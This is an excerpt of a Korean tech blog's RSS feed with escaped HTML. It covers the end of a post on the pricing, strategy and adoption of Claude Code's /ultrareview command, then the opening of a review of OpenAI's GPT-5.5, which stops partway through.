&lt;p data-ke-size=&quot;size16&quot;&gt;Pro에서 Max로의 전환 시 $20&amp;rarr;$100/월 가격 점프에 대한 불만이 컸다. 특히 고소득 국가 외 개발자들에게 $100/월은 접근 장벽이 된다는 지적이다. &lt;code&gt;/ultrareview&lt;/code&gt;의 회당 $5~$20 추가 과금도 이 맥락에서 받아들여졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Anthropic 가격 실험 논란&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;혼란의 직접적 원인이 된 사건도 있다. &lt;a href=&quot;https://www.theregister.com/2026/04/22/anthropic_removes_claude_code_pro/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Register(2026-04-22) 보도&lt;/a&gt;에 따르면, Anthropic은 신규 Pro 가입자 약 2%를 대상으로 Claude Code를 Pro 플랜 공개 요금 페이지에서 제외하는 실험을 진행했다. 기존 Pro/Max 구독자는 영향을 받지 않았으나, 온라인 포럼에서 가입자들은 서비스가 갑자기 변경될 것이라는 불안을 표출했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 &lt;code&gt;/ultrareview&lt;/code&gt;의 비용 논쟁과 맞물려 더 큰 파장을 일으켰다. 구독 플랜에서 기능을 제외하고 추가 과금으로 전환하는 방향에 대한 불신이 누적된 상태에서 나온 실험이었기 때문이다. Anthropic 입장에서는 소수 대상 A/B 테스트였지만, 커뮤니티가 이를 정책 변경의 신호로 해석한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;팀 vs 솔로 개발자 시각 차이&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비용 논쟁은 사용 규모에 따라 관점이 갈린다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.buildfastwithai.com/blogs/claude-code-review-guide&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;BuildFastWithAI 블로그&lt;/a&gt;는 &quot;하루 3~4개 이상 PR을 머지하는 팀에서는 비용이 정당화되지만, 솔로 개발자에게는 부담스럽다&quot;고 정리했다. 이는 커뮤니티 출처의 평가로, 개인 경험에 따라 다를 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Reddit r/ClaudeCode에서는 사용량 한도 정책(주간 상한 추가)에 대한 불만이 별도로 이어졌다. $200/월 플랜 사용자가 주말 전에 주간 상한에 도달했다는 보고가 나왔고, Anthropic은 공식 서브레딧에서 버그 2건이 해결됐다고 응답하며 의도적 성능 저하를 부인했다. 이 내용은 간접 보고 기반으로, 독립 검증이 어렵다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한편, &lt;code&gt;/ultrareview&lt;/code&gt;는 정식 출시(v2.1.111, 2026-04-16) 이전인 2026-03-31에 v2.1.88 소스맵 유출을 통해 커뮤니티에 먼저 발견됐다. Product Hunt에도 등록됐으며, 실제 엔지니어링 문제를 해결하는 기능으로 긍정적 반응을 얻었다. 비용 때문에 시끄러운 와중에도 기능 자체는 쓸 만하다는 평가는 일관됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;행동지침&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비용 논란에서 개발자가 취할 수 있는 실질적 판단 기준은 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;padding-left: 24px; margin: 15px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;머지 전 치명적 버그 탐지 가치 &amp;gt; $5~$20&lt;/b&gt;: &lt;code&gt;/ultrareview&lt;/code&gt;가 정당화된다 (인증 로직, 데이터 마이그레이션, 대규모 리팩터 등)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;빠른 피드백 루프가 필요한 반복 작업&lt;/b&gt;: &lt;code&gt;/review&lt;/code&gt;가 더 적합하다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;팀 단위 PR 자동화&lt;/b&gt;: Team/Enterprise Code Review를 검토한다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;비용 부담이 있는 솔로 개발자&lt;/b&gt;: 무료 3회를 중요한 PR에 집중 사용하고, 이후는 &lt;code&gt;/review&lt;/code&gt;와 병행한다&lt;/li&gt;
&lt;/ul&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 7-2 --&gt;
&lt;h2 id=&quot;section7-2&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7-2. 앤트로픽의 슬래시 명령어 전략&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;내장 명령어 확장 패턴&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/ultrareview&lt;/code&gt;는 독립된 기능이 아니라 Anthropic의 슬래시 명령어 전략의 일부다. Claude Code v2.1.111에서 &lt;code&gt;/ultrareview&lt;/code&gt;, &lt;code&gt;/effort&lt;/code&gt;(xhigh 포함 인터랙티브 슬라이더), &lt;code&gt;/less-permission-prompts&lt;/code&gt; 등 새로운 내장 슬래시 명령어가 일괄 추가됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패턴은 명확하다. 높은 영향력이 있는 특정 워크플로를 사용자 정의 Skill이 아닌 내장 명령어로 표준화하는 방향이다. v2.1.113에서는 &lt;code&gt;/ultrareview&lt;/code&gt;의 병렬화된 검사로 더 빠른 시작, 시작 다이얼로그에 diffstat 추가, 애니메이션 실행 상태 표시 등 UX 개선이 이어졌다. 내장 명령어가 Skill과 달리 버전별 지속 관리된다는 의미다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 v2.1.114~v2.1.119(2026-04-18~04-23) 기간에는 &lt;code&gt;/ultrareview&lt;/code&gt; 관련 직접 변경사항은 없다. 다만 v2.1.119에서 &lt;code&gt;prUrlTemplate&lt;/code&gt; 설정이 추가됐는데, 이는 Team/Enterprise Code Review의 PR 배지 URL을 커스터마이징하는 기능으로 CLI &lt;code&gt;/ultrareview&lt;/code&gt; 동작에는 영향이 없다. 핵심 기능은 v2.1.111(출시)&amp;middot;v2.1.113(UX 개선)에 집중됐고 이후 안정화 단계에 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;ultraplan과의 공통 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/ultraplan&lt;/code&gt;도 동일한 패턴을 따른다. &lt;code&gt;/ultraplan&lt;/code&gt;은 Anthropic의 클라우드 인프라에서 실행되며, Bedrock/Vertex/Foundry 미지원, Claude Code on the web 계정 필수라는 &lt;code&gt;/ultrareview&lt;/code&gt;와 동일한 제약을 공유한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공통점은 세 가지다. 원격 인프라 활용, API 키만으로 사용 불가, 추가 사용량으로 별도 청구. 이 구조는 &quot;클라우드 기반 고영향 워크플로를 내장 명령어로, 단순 작업은 Skill/API로&quot;라는 계층 분리를 보여준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;정량제(pay-per-use) 전환 트렌드&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/ultrareview&lt;/code&gt;는 구독 플랜 포함 사용량이 아닌 '추가 사용량(extra usage)'으로 별도 청구되는 premium 기능이다. 이는 구독 플랜 외 정량제 과금 모델의 첫 사례다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;월정액 구독과 정량제를 병행하는 이 모델은, AI 도구 업계에서 '기본 플랜 + 고급 기능 추가 과금'으로 수익을 다각화하는 흐름과 맞닿아 있다. Anthropic 입장에서는 심층 리뷰처럼 컴퓨팅 집약적 기능을 구독에 묶으면 단가를 올리거나 수익성이 악화되므로, 별도 과금이 합리적 선택이다. 독자 입장에서는 필요한 리뷰에만 비용을 지불하는 선택지가 생겼다는 의미다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 8 --&gt;
&lt;h2 id=&quot;section8&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 결정 매트릭스 + 도입 플레이북&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;언제 /ultrareview를 쓰는가 / 언제 쓰지 않는가&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장 도구&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;인증&amp;middot;권한 로직 변경 머지 전&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;/ultrareview&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;한 줄 변경이 인증을 깨뜨릴 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;데이터 마이그레이션 스크립트 검토&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;/ultrareview&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;데이터 손실 리스크 최소화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;1,000줄 이상 대규모 리팩터&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;/ultrareview&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;84% 확률로 평균 7.5개 이슈 발굴&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;작업 중 빠른 피드백 루프&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;/review&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;수초 내 결과, 비용 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;간단한 버그 픽스&amp;middot;텍스트 수정&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;/review&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;/ultrareview&lt;/code&gt; 비용 대비 효과 낮음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;팀 전체 PR 자동화&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Team Code Review&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;PR 생성 시 자동 트리거 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;리뷰 기준을 직접 제어하고 싶을 때&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Skill 기반 리뷰&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;완전한 커스터마이징 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Bedrock/Vertex/Foundry 환경&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;/review&lt;/code&gt; 또는 Skill&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;/ultrareview&lt;/code&gt; 사용 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: &lt;code&gt;/ultrareview&lt;/code&gt;는 치명적 버그 리스크가 있는 PR의 신뢰도를 최적화하고, &lt;code&gt;/review&lt;/code&gt;는 반복 작업 중 빠른 피드백 속도를 최적화한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;도입 플레이북&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;오늘 바로 시작하기&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1. 버전 확인 (v2.1.86 이상, 최신 v2.1.119 권장)
claude --version

# 2. Claude.ai 인증 추가 (API 키만 있는 경우)
/login

# 3. 추가 사용량 설정 확인
/extra-usage

# 4. 중요한 브랜치에서 무료 3회 중 1회 사용
/ultrareview&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이번 주 워크플로 통합&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무료 3회를 가장 위험한 PR에 집중 투자한다. 인증 변경, DB 마이그레이션, 대규모 리팩터 순서로 우선순위를 정하는 것을 권장한다. 결과를 받은 뒤 Claude에게 발견 사항을 바로 수정 요청할 수 있다는 점도 활용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;운영 반영 시 고려사항&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 research preview 상태이므로 운영 환경에 의존적으로 통합하기 전에 몇 가지를 확인해야 한다. 2026-05-05 무료 기간 만료 후 비용 구조가 팀 예산에 맞는지 검토하고, ZDR 조직이나 Bedrock/Vertex 환경이라면 대안(Skill 기반 또는 GitHub Action)을 병행 준비한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리뷰 커버리지가 16%에서 54%로 올라간 건 데이터가 말한다. 코드 산출량은 200% 늘었는데 리뷰어 수는 그대로다. 자동화 말고 이 격차를 메울 방법이 없다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글의 요금&amp;middot;기능 정보는 2026-04-24 기준이다. &lt;code&gt;/ultrareview&lt;/code&gt;는 research preview 기능으로, 기능&amp;middot;요금&amp;middot;가용성은 Anthropic의 피드백 반영에 따라 변경될 수 있다. 실행 전 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultrareview&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;에서 최신 정보를 확인할 것을 권장한다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>/review vs /ultrareview</category>
      <category>AI코드리뷰</category>
      <category>claude code</category>
      <category>Claude Code 사용법</category>
      <category>Claude Code 요금</category>
      <category>ultrareview</category>
      <category>멀티에이전트 코드리뷰</category>
      <category>앤트로픽</category>
      <category>원격샌드박스</category>
      <category>코드리뷰자동화</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/585</guid>
      <comments>https://goddaehee.tistory.com/585#entry585comment</comments>
      <pubDate>Fri, 24 Apr 2026 19:00:35 +0900</pubDate>
    </item>
    <item>
      <title>OpenAI GPT-5.5 리뷰 : 에이전틱 AI의 새 기준인가, 가격 2배 인상의 정당화인가 - 벤치마크부터 환각률까지</title>
      <link>https://goddaehee.tistory.com/584</link>
      <description>&lt;!-- 래퍼 1: 인트로 (line-height: 1.7) --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2026&quot; data-origin-height=&quot;1124&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/czGgBD/dJMcaffk7WK/WFbJ6PTPcTKQWZDewMbRl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/czGgBD/dJMcaffk7WK/WFbJ6PTPcTKQWZDewMbRl1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/czGgBD/dJMcaffk7WK/WFbJ6PTPcTKQWZDewMbRl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FczGgBD%2FdJMcaffk7WK%2FWFbJ6PTPcTKQWZDewMbRl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2026&quot; height=&quot;1124&quot; data-origin-width=&quot;2026&quot; data-origin-height=&quot;1124&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;6주마다 새 모델이 나오는 시대다. GPT-5.4 출시 6주 만인 2026년 4월 23일, OpenAI는 GPT-5.5를 공개했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Fortune은 이를 두고 &quot;AI 모델 출시가 소프트웨어 업데이트처럼 보이기 시작했다&quot;고 평했다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://fortune.com/2026/04/23/openai-releases-gpt-5-5/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Fortune, 2026-04-23&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;그러나 이번 릴리즈는 단순한 버전 숫자 올림이 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;GPT-5.5는 에이전틱 AI, 즉 스스로 계획하고 도구를 사용해 장시간 작업을 완수하는 AI로의 전환을 선언한다. 동시에 API 가격은 전작 대비 2배로 올랐고, 독립 기관의 환각률 측정에서는 업계 최고 수준의 부담스러운 수치를 기록했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 글에서는 공식 발표와 벤치마크 데이터를 기반으로 GPT-5.5의 성능&amp;middot;가격&amp;middot;한계&amp;middot;경쟁 모델 비교를 정리했다. 여기에 더해 GPT-5.5 Pro에게 직접 단일 프롬프트로 게임 6개를 만들게 한 실험 결과도 함께 담았다. 도입을 고민 중인 개발자와 담당자에게 판단 근거가 됐으면 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 (line-height: 1.8) --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 28px; border-radius: 12px; border: 2px solid #cce5ff; margin: 24px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 12px; color: #1a3a52;&quot; data-ke-size=&quot;size16&quot;&gt;목차&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section-1&quot;&gt;소개 + 핵심 가치&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section-2&quot;&gt;시작하기: 모델 계층과 가용성&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section-3&quot;&gt;주요 기능 상세&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section-4&quot;&gt;공개 정보 기반 아키텍처 추정&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section-5&quot;&gt;실전 사용 경험 + 직접 만든 GPT-5.5 게임 6선&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section-6&quot;&gt;요금제 및 제한사항&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section-7&quot;&gt;대안 비교: Claude Mythos Preview vs Claude Opus 4.7 vs Gemini 3.1 Pro&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section-8&quot;&gt;트러블슈팅 Q&amp;amp;A + 결론&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 id=&quot;section-1&quot; style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin: 40px 0 16px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 소개 + 핵심 가치&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2036&quot; data-origin-height=&quot;1122&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7fZvZ/dJMcai36j0B/N86gvQsgk1DbjnlYU8R9SK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7fZvZ/dJMcai36j0B/N86gvQsgk1DbjnlYU8R9SK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7fZvZ/dJMcai36j0B/N86gvQsgk1DbjnlYU8R9SK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7fZvZ%2FdJMcai36j0B%2FN86gvQsgk1DbjnlYU8R9SK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2036&quot; height=&quot;1122&quot; data-origin-width=&quot;2036&quot; data-origin-height=&quot;1122&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;GPT-5.5가 해결하려는 문제&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GPT-5.5는 OpenAI가 공식적으로 &quot;실제 업무와 에이전트 구동을 위한 새로운 수준의 지능(A new class of intelligence for real work and powering agents)&quot;으로 정의한 모델이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순 Q&amp;amp;A Assistant를 넘어, 복잡한 코딩&amp;middot;과학 연구&amp;middot;사무 자동화 등 멀티스텝 에이전틱 업무를 처리하는 것이 핵심 포지셔닝이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenAI의 Greg Brockman은 GPT-5.5의 특징을 이렇게 설명했다.&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 16px 20px; border-radius: 0 8px 8px 0; margin: 16px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;더 적은 토큰으로 더 빠르고 날카로운 사고를 합니다. 비즈니스와 소비자 모두에게 더 많은 프론티어 AI를 제공하는 것이 우리 목표입니다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;토큰 효율성과 추론 속도를 동시에 올리겠다는 이야기다. 더 많이 계산하는 게 아니라, 같은 시간에 더 적은 토큰으로 더 높은 품질을 내겠다는 것.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;6주 릴리즈 주기와 업계 반응&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GPT-5.4가 2026년 3월 5일 출시됐고, GPT-5.5는 4월 23일 나왔다. 간격은 6주만이다.&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 16px 20px; border-radius: 0 8px 8px 0; margin: 16px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;단기적으로 상당한 개선, 중기적으로 매우 큰 개선이 예상됩니다. 사실 지난 2년은 놀랍도록 느렸다고 생각합니다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 속도를 유지하거나 더 빠르게 가겠다는 의도가 보인다. 개발자 입장에서는 6~8주 단위로 모델 평가 주기를 맞춰야 할 수도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) ChatGPT 환경에서 확인해보자.&amp;nbsp;&lt;/p&gt;
